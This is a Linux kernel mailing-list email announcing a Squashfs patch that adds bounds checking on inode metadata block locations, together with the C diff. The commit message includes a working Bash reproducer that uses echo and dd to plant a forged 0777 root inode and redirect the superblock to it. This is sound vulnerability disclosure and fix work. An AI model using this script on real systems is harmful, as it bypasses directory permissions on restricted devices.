From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=100.103.45.18 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1794510644; b=tW5wpbeM3OTZjkAsW8kFzJs9yYmZM6TIEiEj4XL4fzURMUqzoW2gmlqnylNoacuq0jXp /7Jw7m+1qrFPa4HJ7NUW0pcX0lpAKf+dpHxaiiIPddUEO9DJ5OP4s61fljEBYDpDN3JmM sUBeYFGs1lc+HglNV7nD+E1QYJbYO6Q6iAdhM/bQTyWki8varbTI47nF1JmiQLFoEBpJk cnYVI7db2z48Cu6hLoe4OWhuBUYepSeicom8P7/kW+ZiVCZuA0I1ELkQdZhhJhFsNE/cH 43Rcozm2+iA6la7/0aNvyfzbPX7twc3ABeyBgQtuB+RFWutm95hdCbNWlVI71sInwMA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1794510644; h=Received:DKIM-Signature:Date:To:From:Subject:Message-Id; bh=zT4jIqjD7eeK9NTnoY/fMl/dfLtOaeaXd9qqHUPVLEw=; b=k6nFYzQ2zoNzWrxBa54CFAHVUMMb6GOyllTMcNtLM7rgSWILDG7cnFcVRCx82RH4yV+d IyFZherfKijiyYx1+4/AV2HkEy86mzqwa+RWbYyUW4JrH1GhuiTI7Nj/G/i4mCzOhwI3T qjL1hwqu4YhkFi6GCcA53ETGXhq2gFvBtIbCOa9odpXohbT9olLbq/xj6UhQpBKFwnj6m umuZ11RUJ7XlOy4IWwADmKmLOjBSOzxP5rk8fzZqfNWlUO9r2cjENeXyHQ+CwUrp+od0z ZJQrb/BPcC7SePmlpulyzttD7CXNDMCKQj7jwTu+W3JOobYArrfDPvfPvf/URq8wyTw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dkim=pass header.d=linux-foundation.org header.i=@linux-foundation.org header.a=rsa-sha256 header.s=korg header.b=Yy8+mEUS; arc=none smtp.remote-ip=100.103.45.18 Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id A183A606A31C for ; Thu, 12 Nov 2026 19:10:44 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linux-foundation.org header.i=@linux-foundation.org header.a=rsa-sha256 header.s=korg header.b=Yy8+mEUS Received: by smtp.kernel.org (Postfix) with ESMTPSA id 16EE81F000C4; Thu, 12 Nov 2026 19:10:44 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=korg; t=1794510644; bh=zT4jIqjD7eeK9NTnoY/fMl/dfLtOaeaXd9qqHUPVLEw=; h=Date:To:From:Subject; b=Yy8+mEUS9sdsKW8q+bbcW/PkUBoz4OeS13Mew8HbdNkmf/zxJEnJFub/73qQeNrx+ vmAZtczyd6CFXLymFl3a28nps0OyxtpTlfMj50v3Ox4hZVi0+iy2NnZhP//zbo6Bku 2H3uR/UdEAKWgzUPPsBOfGmSHDLb1trQARTJlhWA= Date: Thu, 12 Nov 2026 11:10:43 -0800 To: mm-commits@vger.kernel.org,phillip.lougher@gmail.com, phillip@squashfs.org.uk,akpm@linux-foundation.org From: Andrew Morton Subject: + squashfs-sanity-check-inode-metadata-block-location.patch added to mm-nonmm-unstable branch Message-Id: <20261112191044.16EE81F000C4@smtp.kernel.org> X-Mailing-List: mm-commits@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list The patch titled Subject: Squashfs: sanity check inode metadata block location has been added to the -mm mm-nonmm-unstable branch. Its filename is squashfs-sanity-check-inode-metadata-block-location.patch This patch will shortly appear at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-sanity-check-inode-metadata-block-location.patch This patch will later appear in the mm-nonmm-unstable branch at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm Before you just go and hit "reply", please: a) Consider who else should be cc'ed b) Prefer to cc a suitable mailing list as well c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's *** Remember to use Documentation/process/submit-checklist.rst when testing your code *** The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm and is updated there most days ------------------------------------------------------ From: Phillip Lougher Subject: Squashfs: sanity check inode metadata block location Date: Wed, 11 Nov 2026 23:43:50 +0000 An inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table. An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table. In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode. Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want. However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd. An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=rxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=rwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users. The following shell script acts as a reproducer and proof of concept. This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table. Reproducer ========== The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged. ====================================================================== #!/bin/bash ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=$(mktemp -d) pushd $DIR 2>&1 > /dev/null # Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs dd if=/dev/zero of=zero bs=1024 count=1 status=none for i in $(seq 1 100); do echo "$i l zero" >> pseudo done # Create a Squashfs filesystem with the root directory permissions u=rwx (0700) echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)" if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then echo Failed to create Squashfs filesystem finish fi # The root_inode field in the superblock points to the compressed metadata # block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked. # Write malicious inode, this is the same as the original root inode, except # it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\ \x00" > file # Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none # Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an # absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode /usr/bin/echo -en "\x00\x00\x4f\x03" > file dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none # Mount the filesystem to /mnt echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi # Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777 stat /mnt popd 2>&1> /dev/null rm -rf $DIR ====================================================================== Link: https://lore.kernel.org/20261111234402.252354-11-phillip@squashfs.org.uk Fixes: 6545b246a2c8 ("Squashfs: inode operations") Signed-off-by: Phillip Lougher Signed-off-by: Andrew Morton Cc: Phillip Lougher --- fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-) --- a/fs/squashfs/inode.c~squashfs-sanity-check-inode-metadata-block-location +++ a/fs/squashfs/inode.c @@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *in { struct super_block *sb = inode->i_sb; struct squashfs_sb_info *msblk = sb->s_fs_info; - u64 block = squashfs_inode_blk(ino) + msblk->inode_table; - int offset = squashfs_inode_offset(ino); + s64 block = squashfs_inode_start(msblk, ino), sblock = block; + int offset = squashfs_inode_offset(ino), soffset = offset; int err, type; union squashfs_inode squashfs_ino; struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base; @@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *in TRACE("Entered squashfs_read_inode\n"); + if (block < 0) + goto bad_block_val; + /* * Read inode base common to all inode types. */ - err = squashfs_read_metadata(sb, sqshb_ino, &block, - &offset, sizeof(*sqshb_ino)); + err = squashfs_read_metadata(sb, sqshb_ino, &sblock, + &soffset, sizeof(*sqshb_ino)); if (err < 0) goto failed_read; @@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *in if (err) goto failed_read; - block = squashfs_inode_blk(ino) + msblk->inode_table; - offset = squashfs_inode_offset(ino); - type = le16_to_cpu(sqshb_ino->inode_type); switch (type) { case SQUASHFS_REG_TYPE: { @@ -452,6 +452,9 @@ int squashfs_read_inode(struct inode *in return 0; +bad_block_val: + err = block; + failed_read: ERROR("Unable to read inode 0x%llx\n", ino); return err; --- a/fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-inode-metadata-block-location +++ a/fs/squashfs/squashfs_helpers.h @@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset( return inode & 0xffff; } +static inline s64 squashfs_inode_start(struct squashfs_sb_info *msblk, s64 inode) +{ + s64 start; + + if (inode < 0) + return -EINVAL; + + if (S64_MAX - msblk->inode_table < squashfs_inode_blk(inode)) + return -EINVAL; + + start = msblk->inode_table + squashfs_inode_blk(inode); + + if (start > msblk->directory_table) + return -EINVAL; + + return start; +} + static inline s64 squashfs_mkinode(u32 start, u16 offset) { return ((s64)start << 16) | offset; _ Patches currently in -mm which might be from phillip@squashfs.org.uk are squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch